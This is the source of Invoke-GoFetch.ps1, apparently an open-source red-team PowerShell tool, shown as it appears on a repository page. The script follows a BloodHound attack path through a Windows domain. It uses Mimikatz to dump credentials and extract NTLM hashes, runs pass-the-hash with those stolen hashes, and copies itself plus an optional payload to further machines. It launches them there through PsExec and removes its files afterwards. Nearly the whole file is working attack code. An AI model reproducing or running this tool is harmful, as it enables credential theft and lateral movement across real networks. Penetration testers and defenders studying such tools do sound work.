-
Notifications
You must be signed in to change notification settings - Fork 100
/
Copy pathInvoke-GoFetch.ps1
831 lines (684 loc) · 30.8 KB
/
Invoke-GoFetch.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
<#
.SYNOPSIS
File: Invoke-GoFetch.ps1
Version: 1.0
Author: Tal Maor, Twitter: @TalThemaor
Co-Author: Itai Grady, Twitter: @ItaiGrady
License: MIT License
Depends on BloodHound Graphs realse 1.2.1 - https://github.com/BloodHoundAD/BloodHound/releases
Required Dependencies: Invoke-Mimikatz https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1
Required Dependencies: Mimikatz 2.0 alpha https://github.com/gentilkiwi/mimikatz
Required Dependencies: Invoke-PsExec https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-PsExec.ps1
Optional Dependencies: None
.DESCRIPTION
This script leverages Invoke-Mimikatz reflectively load Mimikatz, dump credentails, choose the relevant one according to the BloodHound graph.
This allows you to move from target computer to another according to a BloodHound path provided as input to Invoke-GoFetch.
.PARAMETER PathToGraph
Path to the BloodHound exported Graph which includes a path between two users.
.PARAMETER PathToPayload
Path to local payload file .exe/.bat/.ps1 to run on next nodes in the path.
.EXAMPLE
.\Invoke-GoFetch.ps1 -PathToGraph .\graph.json
.EXAMPLE
.\Invoke-GoFetch.ps1 -PathToGraph .\graphExample.json -PathToPayload .\payload.exe
.NOTES
This script should be able to run from any version of Windows through Windows 7 that has PowerShell v2 or higher installed and .Net 3.5 or higher.
Mimikatz version: The Mimikatz DLL within Invoke-Mimikatz in this repo was changed and compiled again to support powershell arguments https://github.com/GoFetchAD/mimikatz
#>
Param(
[Parameter(Position=0, Mandatory=$false)]
[string]
[alias("pathToBloodHoundGraph")]
$PathToGraph,
[Parameter(Position=0, Mandatory=$false)]
[string]
[alias("PathToAdditionalPayload")]
$PathToPayload
)
Function WriteLog($stringToWrite)
{
try
{
if ($writeToLog -eq $true)
{
Add-Content $pathToLog ('{0} {1}' -f (Get-Date -format g),$stringToWrite)
}
}
catch
{
$errorMessage = $_.Exception.Message
$failedItem = $_.Exception.ItemName
Write-Host ("Error - Couldnt write to log file, {0}" -f $errorMessage)
}
}
Function ConvertTo-Json20([object] $item)
{
add-type -assembly system.web.extensions
$ps_js=new-object system.web.script.serialization.javascriptSerializer
return $ps_js.Serialize($item)
}
Function ConvertFrom-Json20([object] $item)
{
add-type -assembly system.web.extensions
$ps_js=new-object system.web.script.serialization.javascriptSerializer
#The comma operator is the array construction operator in PowerShell
return ,$ps_js.DeserializeObject($item)
}
Function BloodHoundGraphToGoFetchPath
{
<#
.SYNOPSIS
Creates GoFetch attack path out of BloodHound path between two users.
Function: BloodHoundGraphToGoFetchPath
Version: 1.0
Author: Tal Maor, Twitter: @TalThemaor
Co-Author: Itai Grady, Twitter: @ItaiGrady
License: MIT License
.PARAMETER pathToBloodHoundGraph
Path to the BloodHound exported Graph which includes a path between two users.
.PARAMETER
pathToOutputGoFetchPath - Path to output path graph in the GoFetch folder.
.PARAMETER (optional) pathToAdditionalPayload
Path to local payload file .exe/.bat/.ps1 to run on next nodes in the path.
.PARAMETER pathToGoFetchFolder
Path to GoFetch folder.
.EXAMPLE
BloodHoundGraphToGoFetchPath -pathToBloodHoundGraph $pathToGraph -pathToOutputGoFetchPath $pathToAttackFile -pathToAdditionalPayload $PathToPayload -pathToGoFetchFolder $rootFolder
#>
Param(
[Parameter(Position=0, Mandatory=$true)]
[alias("pathToBloodHoundGraph")]
[string]
$pathToGraph,
[Parameter(Position=1, Mandatory=$true)]
[alias("pathToOutputGoFetchPath")]
[string]
$pathToOutputFileWithGoFetchPath,
[Parameter(Position=2, Mandatory=$false)]
[alias("pathToAdditionalPayload")]
[string]
$pathToPayload,
[Parameter(Position=3, Mandatory=$false)]
[alias("pathToGoFetchFolder")]
[string]
$pathToRootFolder
)
$global:startNode = $null
$global:endNode = $null
$sourceNodesDict = @{}
Function Init
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[System.Collections.Generic.Dictionary[System.String,System.Object]]
$originalGraph
)
try
{
ForEach ($edge in $originalGraph.edges)
{
$sourceNodesDict.add($edge.source, $edge)
}
InitFirstAndLastNodes $originalGraph
}
catch
{
$errorMessage = $_.Exception.Message
$failedItem = $_.Exception.ItemName
throw ("Couldnt init the variable of GoFetch path - {0}" -f $errorMessage)
}
}
Function InitFirstAndLastNodes($originalGraph)
{
$degreeOneNodesArray = @()
# find only source node and target node which has degree 1 (only one edge connected)
ForEach ($node in $originalGraph.nodes)
{
if($node.degree -eq 1)
{
$degreeOneNodesArray += @($node.id)
}
}
if ($degreeOneNodesArray.Length -eq 2)
{
if ($sourceNodesDict.Contains($degreeOneNodesArray[0]))
{
$global:startNode = $degreeOneNodesArray[0]
$global:endNode = $degreeOneNodesArray[1]
}
else
{
$global:startNode = $degreeOneNodesArray[1]
$global:endNode = $degreeOneNodesArray[0]
}
}
else
{
throw "Input is not a valid path"
}
}
Function IDToUser
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[string]
$id,
[Parameter(Position=1, Mandatory=$true)]
[System.Collections.Generic.Dictionary[System.String,System.Object]]
$originalGraph
)
if ($originalGraph.spotlight.ContainsKey($id))
{
return $originalGraph.spotlight[$id][0]
}
return $null
}
Function CreateGoFetchPath
{
$pathOfAttack = @()
try
{
if (Test-Path $pathToGraph)
{
$originalGraph = ConvertFrom-Json20(Get-Content -Path $pathToGraph -ErrorAction Stop)
}
else
{
throw "Path {0} is not exsits or not a file" -f $originalGraph
}
Init $originalGraph
$runner = $global:startNode
if (-not [string]::IsNullOrEmpty($pathToPayload) -and (Test-Path $pathToPayload))
{
$payloadName = Split-Path $pathToPayload -Leaf
if ((Test-Path ($pathToRootFolder + '\'+ $payloadName)) -eq $false)
{
Copy-Item -Path $pathToPayload -Destination $pathToRootFolder -Force
$message = "Copied {0} to {1}" -f ($payloadName, $pathToRootFolder)
}
else
{
$message = "The file {0} is already exsit in {1} did not override it" -f ($payloadName, $pathToRootFolder)
}
Write-Host $message
WriteLog $message
}
#Write-Host "Attack Plan:"
While ($runner -ne $global:endNode)
{
$step = @{}
ForEach ($k in ("source", "target", "label","id")) { $step.Add($k, $sourceNodesDict[$runner][$k]) }
$step.Add("sourceName", (IDToUser $step.source $originalGraph))
$step.Remove("source")
$step.Add("targetName", (IDToUser $step.target $originalGraph))
$step.Remove("target")
if ($step.label -eq "AdminTo" -and $payloadName -ne $null)
{
$step.Add("payloadFileName", $payloadName)
}
$pathOfAttack += @($step)
$runner = $sourceNodesDict[$runner].target
}
# In case the BloodHound path does not incldue the first machine which has session of the first user,
# GoFetch adds a dummy node to dump the credentails of the first user.
if ($pathOfAttack.Count -gt 0)
{
$firstUserAdminToNextNode_ConnetedToAttackerMachine = ($pathOfAttack[0]["sourceName"]).ToLower()
$currentUser = ($env:UserName + '@' + (Get-WmiObject win32_computersystem).Domain).ToLower()
if ($pathOfAttack[0].label -ne "HasSession" -and $firstUserAdminToNextNode_ConnetedToAttackerMachine -ne $currentUser)
{
WriteLog " Warnning - Assuming the first user has session on the first machine"
# the first user used to attack - need to get its NTLM from the attacker computer
$attackerMachineFQDN=(Get-WmiObject win32_computersystem).DNSHostName+"."+(Get-WmiObject win32_computersystem).Domain
$step = @{'sourceName' = $attackerMachineFQDN; 'label'= 'HasSession'; 'targetName' =$firstUserAdminToNextNode_ConnetedToAttackerMachine}
$pathOfAttack = @($step) + $pathOfAttack
}
}
$outputFormat = @{"path" = "";"final" = @(); "exceptions" = @();"status" = @{};"startNode" = @{}}
$outputFormat.path = $pathOfAttack
$outputFormat.startNode.Add("name",(hostname))
Set-Content $pathToOutputFileWithGoFetchPath (ConvertTo-Json20 $outputFormat -Depth 99) -Force
Write-Host ("GoFetch path was created in {0}" -f $pathToOutputFileWithGoFetchPath)
}
catch
{
$errorMessage = $_.Exception.Message
$failedItem = $_.Exception.ItemName
$logMessage = "Couldn't create GoFetch path - {0}" -f $errorMessage
write-host $logMessage
WriteLog $logMessage
}
}
CreateGoFetchPath
}
#Local file names
$rootFolder = Split-Path $MyInvocation.MyCommand.Path -Parent
$pathToGoFetchScript = $rootFolder + "\Invoke-GoFetch.ps1"
$pathToInvokeMimikatz = $rootFolder + "\Invoke-Mimikatz.ps1"
$pathToInvokePsExec = $rootFolder + "\Invoke-PsExec.ps1"
$pathToLog = $rootFolder + "\GoFetchLog.log"
$pathToPsExecLog = $rootFolder + "\PsExecLog.log"
$pathToFileWithReturnedResult = $rootFolder + "\GoFetchOutput.json"
$pathToAttackFile = $rootFolder + "\GoFetchPath.json"
#Remote file names
$rootFolderOnRemote = "C:\GoFetch"
$remoteFolderPathToGoFetch = "\\{0}\c$\GoFetch"
$remotePathToGoFetch = $rootFolderOnRemote + "\Invoke-GoFetch.ps1"
$remotePathToLogFile = $remoteFolderPathToGoFetch + "\GoFetchLog.log"
$remotePathToGoFetchScript = $remoteFolderPathToGoFetch + "\Invoke-GoFetch.ps1"
$remotePathToInvokeMimikatz = $remoteFolderPathToGoFetch + "\Invoke-Mimikatz.ps1"
$remotePathToInvokePsExec = $remoteFolderPathToGoFetch + "\Invoke-PsExec.ps1"
$remotePathToAttackFile = $remoteFolderPathToGoFetch + "\GoFetchPath.json"
$remotePathToOutputFile = $remoteFolderPathToGoFetch + "\GoFetchOutput.json"
#Global variables
$global:writeToLog = $true
<#
Import-Module Invoke-Mimikatz
Published: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1
Function: Invoke-Mimikatz
Author: Joe Bialek, Twitter: @JosephBialek
Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog: http://blog.gentilkiwi.com. Email: benjamin@gentilkiwi.com. Twitter @gentilkiwi
Mimikatz License: http://creativecommons.org/licenses/by/3.0/fr/
Required Dependencies: Mimikatz (included)
Optional Dependencies: None
Mimikatz version: 2.0 alpha (12/14/2015)
Copyright (c) 2012, Matthew Graeber
All rights reserved.
Modifications: The Mimikatz DLL was changed and compiled again - please use the one provided with Invoke-GoFetch
#>
Import-Module -Name $pathToInvokeMimikatz -Force
<#
Import-Module Invoke-PsExec
Published: https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-PsExec.ps1
Function: Invoke-PsExec
Author: @harmj0y
License: BSD 3-Clause
Copyright (c) 2015, Will Schroeder and Justin Warner
All rights reserved.
Modifications: None
#>
Import-Module -Name $pathToInvokePsExec -Force
Function Invoke-GoFetch
{
<#
.SYNOPSIS
Function: Invoke-GoFetch
Author: Tal Maor, Twitter: @TalThemaor
Co-Author: Itai Grady, Twitter: @ItaiGrady
License: MIT License
.DESCRIPTION
This function is a recursion which expects to get GoFetch path between two users from a predefined file name and location.
This version supports the following BloodHound labels: MemberOf, HasSession and AdminTo.
In each iteration, GoFetch reads the first step in the path and preforms the required operations according to the step label.
MemberOf - takes details from this step, move them to the next step and save the path.
HasSession - takes the username details, dumps credentials from memory, update the next step with the relevant NTLM and starts a new session with the stolen creds.
AdminTo - copy GoFetch and its dependencies to the next machine according to the path, execute GoFetch remotely and waits for the remote process to create output file as a completion sign.
.EXAMPLE
.\Invoke-GoFetch.ps1
.NOTES
This function expect to find: Invoke-Mimikatz, Invoke-Psexec and GoFetchPath.json files in the same folder it's located.
#>
# Inspired by http://pwndizzle.blogspot.com/2015/10/parse-mimikatz-output-one-liner.html
Function Parse-Mimikatz
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[string]
$mimikatzOutputData
)
$regexPattern = '(User Name : (?<name>(\S)*)|Primary(\s+)\* Username : (?<name>(\S)*)|NTLM : (?<ntlm>(\S)*))'
$matchs = Select-String -input $mimikatzOutputData -Pattern $regexPattern -AllMatches
$dictUserAndNTLM = @{}
$index = 0
for($i=0; $i -lt $matchs.Matches.length -1; $i = $i + 1)
{
if ($matchs.Matches[$i].Groups.Item("name"))
{
$userName = $matchs.Matches[$i].Groups["name"].value.ToLower()
}
if ($matchs.Matches[$i+1].Groups.Item("ntlm"))
{
$NTLM = $matchs.Matches[$i+1].Groups["ntlm"].value
}
if ($userName -and $NTLM -and -not $dictUserAndNTLM.ContainsKey($userName))
{
$dictUserAndNTLM.Add($userName,$NTLM)
$userName = $null
$NTLM = $null
}
}
return $dictUserAndNTLM
}
Function CopyAndRunAdditionalPayload($targetComputer, $additionalPayloadFileName)
{
try
{
$remotePathToPayload = ($remoteFolderPathToGoFetch -f $targetComputer) + "\" + $additionalPayloadFileName
$pathToLocalPayload = $rootFolderOnRemote + "\" + $additionalPayloadFileName
$pathToAdditonalPayload = $rootFolder + "\" + $additionalPayloadFileName
if (Test-Path $pathToAdditonalPayload)
{
WriteLog ('Copy payload from {0} to {1}' -f ($pathToAdditonalPayload, $remotePathToPayload ))
Copy-Item -Path $pathToAdditonalPayload -Destination $remotePathToPayload -Force
WriteLog ('Copied additional payload from {0} to {1}' -f ($pathToAdditonalPayload, $remotePathToPayload ))
# todo: change populate $runAdditionalPayloadOnNextNode from input path
$runAdditionalPayloadOnNextNode = $true
if ($runAdditionalPayloadOnNextNode)
{
# Invoke the additional payload
$command = ("cmd.exe /c {0}" -f $pathToLocalPayload)
WriteLog ("Run Invoke-PsExec with command: {0}" -f $command)
$PSEXECoutput = & Invoke-PsExec -ComputerName $targetComputer -Command $command -ResultFile $pathToPsExecLog
WriteLog ("Invoke-PsExec additional payload command: {0}" -f $command)
ForEach ($logLine in $PSEXECoutput) { WriteLog "PsExec: {0}" -f $logLine}
Start-Sleep 3
WriteLog ('CopyAndRunAdditionalPayload - Done on {0}' -f $targetComputer)
}
}
}
catch
{
AddDetailsOfException $_.Exception.Message "Failed to run addtional payload, line " $_.InvocationInfo.ScriptLineNumber
}
}
Function WriteResultsToFinalFile($resultToReturn)
{
$statusDetails = @{}
$statusDetails.Add("Type","Done")
try
{
$statusDetails.Add("Message","GoFetch finished")
if ([bool]($resultToReturn.PSobject.Properties.name -match "status"))
{
$resultToReturn.status = $statusDetails
}
if ($pathOfAttack -eq $null)
{
throw "Path Of attack is empty - " + $_.Exception.Message
}
$resultToReturn = (ConvertTo-Json20 $pathOfAttack -Depth 99)
set-content $pathToFileWithReturnedResult $resultToReturn
}
catch
{
$resultToReturn = '{"path" : [] ,"final" = [], "exceptions" : {0},"status": {"Type" : "Exception"}}' -f ($_.Exception.Message)
set-content $pathToFileWithReturnedResult $resultToReturn
}
WriteLog 'Local GoFetchOutput.log file was created'
}
Function PromptFinalMessage($GoFetchOutput, $isException)
{
try
{
if ($isException -eq $true)
{
$messageToPrompt = $pathOfAttack.exceptions
}
else
{
$finalOutput = $GoFetchOutput.final
$lastTarget = $finalOutput[$finalOutput.Length -1].TargetName
$lastTargetNTLM = $finalOutput[$finalOutput.Length -1].TargetNTLMhash
$exceptions = $GoFetchOutput.exceptions
$numberOfExceptions = $exceptions.Length
if ($lastTarget -and $lastTargetNTLM)
{
$messageToPrompt = ("The last target is {0} NTLM hash {1} `nFor the whole output look at {2} `nNumber of exceptions {3}" -f $lastTarget, $lastTargetNTLM, $pathToFileWithReturnedResult, $numberOfExceptions)
}
elseif ($lastTarget)
{
$messageToPrompt = ("The last target is {0} could not get the NTLM hash `nFor the whole output look at {1} `nNumber of exceptions {2}" -f $lastTarget, $pathToFileWithReturnedResult,$numberOfExceptions)
}
else
{
$messageToPrompt = ("Something went wrong `nNumber of exceptions {0}" -f $numberOfExceptions)
}
}
#msg * $messageToPrompt
WriteLog ('Prompt message: {0}' -f $messageToPrompt)
[System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
[Windows.Forms.MessageBox]::Show($messageToPrompt.ToString(), "Invoke-GoFetch", [Windows.Forms.MessageBoxButtons]::OK, [Windows.Forms.MessageBoxIcon]::Information)
}
catch
{
WriteLog('Error in final message')
}
}
Function CopyAndExecuteNext($targetComputer, $targetUser, $additionalPayloadFileName)
{
try
{
# Copy files to target
New-Item -ItemType Directory -Force -Path ($remoteFolderPathToGoFetch -f $targetComputer)
Copy-Item -Path $pathToGoFetchScript -Destination ($remotePathToGoFetchScript -f $targetComputer) -Force
Copy-Item -Path $pathToInvokeMimikatz -Destination ($remotePathToInvokeMimikatz -f $targetComputer) -Force
Copy-Item -Path $pathToInvokePsExec -Destination ($remotePathToInvokePsExec -f $targetComputer) -Force
Copy-Item -Path $pathToAttackFile -Destination ($remotePathToAttackFile -f $targetComputer) -Force
# make sure output is not exist
$pathToOutputOnNextNode = ($remotePathToOutputFile -f $targetComputer)
if (Test-Path $pathToOutputOnNextNode) { Remove-Item $pathToOutputOnNextNode}
# Copy and run payload
CopyAndRunAdditionalPayload $targetComputer $additionalPayloadFileName
# Run GoFetch on next node
Invoke-PsExec -ComputerName $targetComputer -Command ('cmd.exe /c "echo . | powershell -ExecutionPolicy bypass {0}"' -f $remotePathToGoFetch)
WriteLog ('CopyAndExecuteNext - Done Invoke-PsExec on {0} ' -f $targetComputer)
# Wait to GoFetchOutput.log of the next node to be created - sign to go home
$remotePathToCompletionFile = ($remotePathToOutputFile -f $targetComputer)
WriteLog ('Waiting to GoFetchOutput.log file in {0}' -f $remotePathToCompletionFile)
While (!(Test-Path $remotePathToCompletionFile)) {Start-Sleep 10}
}
catch
{
AddDetailsOfException $_.Exception.Message "Failed in Attacking the next node, line " $_.InvocationInfo.ScriptLineNumber
WriteResultsToFinalFile $pathOfAttack
}
# Do finals and create completion file localy
$remoteCompletionFile = Get-Content -Path $remotePathToCompletionFile
$pathOfAttack = (ConvertFrom-Json20 $remoteCompletionFile)
if (Test-Path ($remotePathToLogFile -f $targetComputer))
{
$logOfNextNode = Get-Content -Path ($remotePathToLogFile -f $targetComputer)
$logOfNextNode | ForEach {WriteLog (" |{0}| - {1}" -f ($targetComputer ,$_))}
}
# Remove GoFetch folder created on the next node
Remove-Item ($remoteFolderPathToGoFetch -f $targetComputer) -Recurse
# Print final message if returned to the first node
if ((hostname) -eq $pathOfAttack.startNode.name)
{
PromptFinalMessage $pathOfAttack $false
}
if($pathOfAttack.status.Type -eq "Exception")
{
PromptFinalMessage $pathOfAttack $true
}
WriteResultsToFinalFile $pathOfAttack
Exit
}
Function AddDetailsOfNodesToFinal($targetName,$targetComputer,$domainName,$TargetNTLMhash)
{
$nodeDetails = @{}
$nodeDetails.Add("TargetName",$targetName)
$nodeDetails.Add("TargetComputer",$targetComputer)
$nodeDetails.Add("DomainName",$domainName)
$nodeDetails.Add("TargetNTLMhash",$TargetNTLMhash)
$nodeDetails.Add("Label","Final")
$pathOfAttack.final = $pathOfAttack.final += $nodeDetails
return $pathOfAttack
}
Function AddDetailsOfException($originalExceptionMessage, $theScriptMessage)
{
$nodeDetails = @{}
$nodeDetails.Add("Hostname",(hostname))
$nodeDetails.Add("Exception",$originalExceptionMessage)
$nodeDetails.Add("Message",$theScriptMessage)
$nodeDetails.Add("Label","Exception")
$pathOfAttack.exceptions = $pathOfAttack.exceptions += $nodeDetails
WriteLog ('Exception was added {0}' -f (ConvertTo-Json20 $nodeDetails -Depth 99))
return $pathOfAttack
}
$pathOfAttack = $null
$isAdditionalPayloadExist = $false
<#
Main Function of GoFetch that iterate on the attack path, copy GoFetch to the next node, execute GoFetch again and waits for results on the next node.
#>
Function Main
{
try
{
WriteLog ('GoFetch started on {0}' -f (hostname))
Write-Host ('GoFetch started on {0} the log file is in {1}' -f ((hostname),$pathToLog))
#GoFetch should work on PS3 as long as .Net 3.5 is installed
# if system.web.extensions is missing GoFetch can't read/write the input/output then it has to create special output and return home
try
{
add-type -assembly system.web.extensions
}
catch
{
$exceptionMessage = "GoFetch requires .Net 3.5 or above, Missing on {0}" -f $env:computername
$resultToReturn = '{"path" : [] ,"final" = [], "exceptions" : {0},"status": {"Type" : "Exception"}}' -f ($exceptionMessage)
Set-Content $pathToFileWithReturnedResult $resultToReturn
return
}
$pathOfAttack = ConvertFrom-Json20 (Get-Content -Path $pathToAttackFile -ErrorAction Stop)
WriteLog 'Attack path loaded - Verifying path'
if ($pathOfAttack -eq $null -or $pathOfAttack.Length -eq 0 -or $pathOfAttack.path.Length -eq 0)
{
$exceptionMessage = "Invalid attack path"
$resultToReturn = '{"path" : [] ,"final" = [], "exceptions" : {0},"status": {"Type" : "Exception"}}' -f ($exceptionMessage)
Set-Content $pathToFileWithReturnedResult $resultToReturn
return
}
}
catch
{
$errorMessage = $_.Exception.Message
Write-Host ("Error: Couldn't load files - Make sure that Invoke-GoFetch.ps1 and {0} are in {1} and that GoFetchPath is in the right format " -f ($pathToAttackFile,$rootFolder))
Write-Host $_.Exception.Message
WriteResultsToFinalFile $errorMessage
return
}
if ($pathOfAttack.path[0].label -eq "MemberOf")
{
try
{
WriteLog 'GoFetch in MemberOf'
# Get relevant data from this step
$targetUserWithDomain = $pathOfAttack.path[0].sourceName
$NTLMTargetUser = $pathOfAttack.path[0].TargetNTLMhash
# Remove the first node
$pathOfAttack.path = $pathOfAttack.path[1..$pathOfAttack.path.Length]
# Update next step with the data
$pathOfAttack.path[0].sourceName = $targetUserWithDomain
$pathOfAttack.path[0].Add("TargetNTLMhash",$NTLMTargetUser)
# Write the new path after changed to file - optional
Set-Content -path $pathToAttackFile (ConvertTo-Json20 $pathOfAttack -Depth 99)
}
catch
{
AddDetailsOfException $_.Exception.Message "Failed in MemberOf case, line " $_.InvocationInfo.ScriptLineNumber
WriteResultsToFinalFile $pathOfAttack
}
}
if ($pathOfAttack.path[0].label -eq "HasSession")
{
try
{
WriteLog 'GoFetch in HasSession'
$targetUser,$targetDomain = $pathOfAttack.path[0].targetName.split("@")
$targetComputer = $pathOfAttack.path[0].sourceName.split(".")[0]
if ([string]::IsNullOrEmpty($targetUser) -or [string]::IsNullOrEmpty($targetDomain))
{
$exceptionMessage = "Missing username or domain in HasSession"
WriteLog $exceptionMessage
throw $exceptionMessage
}
$mimikatzOutput = Invoke-Mimikatz -DumpCred
$parsedMimikatz = Parse-Mimikatz $mimikatzOutput
$NTLMTargetUser = $parsedMimikatz[$targetUser.ToLower()]
if ([string]::IsNullOrEmpty($NTLMTargetUser))
{
$exceptionMessage = "Failed to retrieve NTLM hash of user {0}" -f $targetUser
WriteLog $exceptionMessage
throw $exceptionMessage
}
# Add the target's NTLM hash and write it to output file
$pathOfAttack = AddDetailsOfNodesToFinal $targetUser $targetComputer $targetDomain $NTLMTargetUser
# Move to the next node
$pathOfAttack.path = $pathOfAttack.path[1..$pathOfAttack.path.Length]
if ($pathOfAttack.path.Length -eq 0)
{
# If the path is empty then the current node is the last.
if ($pathOfAttack.final.Length -gt 0)
{
WriteLog " --The END-- "
WriteResultsToFinalFile $pathOfAttack
# update the path file so the process after PTH will perform psexec.
Set-Content -path $pathToAttackFile (ConvertTo-Json20 $pathOfAttack -Depth 99)
WriteLog "Exiting from GoFetch"
Exit
}
}
else
{
$pathOfAttack.path[0].Add("TargetNTLMhash",$NTLMTargetUser)
}
# Update the path file so the process created for the Pass-The-Hash (PTH) will get updated input.
Set-Content -path $pathToAttackFile (ConvertTo-Json20 $pathOfAttack -Depth 99)
# Do PTH
$command =('"sekurlsa::pth /user:{0} /domain:{1} /ntlm:{2} /run:{3}"' -f $targetUser, $targetDomain, $NTLMTargetUser, $pathToGoFetchScript)
WriteLog $command
Write-Host "GoFetch is about to create a new process with the stolen creds, the current process will be closed."
$mimikatzOutput = Invoke-Mimikatz -Command $command
WriteLog ("Mimikatz PTH output: {0}" -f $mimikatzOutput)
}
catch
{
AddDetailsOfException $_.Exception.Message "Failed in HasSession case, line " $_.InvocationInfo.ScriptLineNumber
WriteResultsToFinalFile $pathOfAttack
}
}
elseif ($pathOfAttack.path[0].label -eq "AdminTo")
{
try
{
WriteLog "GoFetch in AdminTo"
$targetUser,$targetDomain = $pathOfAttack.path[0].sourceName.split("@")
$targetComputer = $pathOfAttack.path[0].targetName.split(".")[0]
if ([string]::IsNullOrEmpty($targetUser) -or [string]::IsNullOrEmpty($targetDomain) -or [string]::IsNullOrEmpty($targetComputer))
{
$exceptionMessage = "Missing username, domain, computername in AdminTo"
WriteLog $exceptionMessage
throw $exceptionMessage
}
# Check if payload should be running on the next node
$runPayloadFileName = $null
if (-not [string]::IsNullOrEmpty($pathOfAttack.path[0].payloadFileName))
{
$runPayloadFileName = $pathOfAttack.path[0].payloadFileName
}
# Remove the first node
$pathOfAttack.path = $pathOfAttack.path[1..$pathOfAttack.path.Length]
Set-Content -path $pathToAttackFile (ConvertTo-Json20 $pathOfAttack -Depth 99)
WriteLog ("CopyAndExecuteNext with targetComputer: {0} and targetUser: {1} and payload: {2}" -f $targetComputer,$targetUser,$runPayloadFileName)
CopyAndExecuteNext $targetComputer $targetUser $runPayloadFileName
}
catch
{
AddDetailsOfException $_.Exception.Message "Failed in AdminTo case, line " $_.InvocationInfo.ScriptLineNumber
WriteResultsToFinalFile $pathOfAttack
}
}
else
{
AddDetailsOfException "Step label is not valid"
WriteResultsToFinalFile $pathOfAttack
}
}
Main
}
if ($PathToGraph)
{
BloodHoundGraphToGoFetchPath -pathToBloodHoundGraph $pathToGraph -pathToOutputGoFetchPath $pathToAttackFile -pathToAdditionalPayload $PathToPayload -pathToGoFetchFolder $rootFolder
}
Invoke-GoFetch